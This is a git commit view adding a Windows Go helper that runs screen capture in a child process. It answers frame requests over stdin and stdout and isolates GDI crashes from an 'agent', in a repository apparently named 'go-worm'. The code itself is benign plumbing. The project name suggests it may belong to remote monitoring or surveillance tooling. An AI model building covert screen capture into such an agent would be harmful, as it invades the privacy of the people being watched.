refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe
This commit is contained in:
2026-09-01 23:25:38 +03:00
parent cc2b1d049b
commit a3c78820ed
14 changed files with 432 additions and 12 deletions
+56
View File
@@ -0,0 +1,56 @@
//go:build windows
package capture
import (
"bufio"
"fmt"
"io"
"os"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
// RunHelper is the -capture process: one GDI grab per stdin request, then
// the process can be killed without taking the agent down.
func RunHelper() int {
in := bufio.NewReader(os.Stdin)
out := bufio.NewWriter(os.Stdout)
for {
monitor, format, quality, err := readRequest(in)
if err == io.EOF {
return 0
}
if err != nil {
_ = writeErr(out, err.Error())
_ = out.Flush()
return 1
}
img, err := grab(monitor, format, quality)
if err != nil {
if werr := writeErr(out, err.Error()); werr != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
continue
}
if err := writeFrame(out, img); err != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
}
}
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return screenshot.CaptureMonitor(monitor, format, quality)
}